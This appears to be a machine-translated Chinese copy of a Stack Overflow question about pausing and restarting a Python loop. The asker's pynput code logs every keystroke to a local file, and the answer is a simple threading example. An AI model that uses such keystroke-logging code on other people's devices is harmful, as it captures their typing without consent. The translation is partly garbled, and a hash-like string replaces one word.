[英]How to stop loop for a while in Python?
我有這個代碼:
from pynput.keyboard import Key, Listener
import logging
import time as t
def stop():
print('Stop keylogging for a while')
def main():
logging.basicConfig(filename=('keylog.txt'), level=logging.DEBUG, format=" %(asctime)s - %(message)s")
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener :
listener.join()
main()
stop()
它將您輸入的字母寫在一個文件中,但我想暫時停止它做另一個 function 並再次開始輸入輸入的字母
所以我只需要在 1 小時后停止這個 function :
main()
啟動這個 function:
stop()
再次啟動這個 function:
main()
我希望它循環工作
更輕松:
def stop():
print('Stop')
def main():
while True:
print("Working")
while True:
# Again start main() function
main()
# Do stop() function after 10 seconds
stop()
當我啟動這段代碼 main() 無限工作時,我想在 10 秒后停止它,然后啟動 stop() function,然后再 go 到 main() ZC1C425268E68385D1AB50741C1
from threading import Thread
import time
def main():
print('Working')
def stop():
print('stopped')
while 1:
t = Thread(target=main)
t.start()
time.sleep(6)
t.join()
stop()
你可以使用線程
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.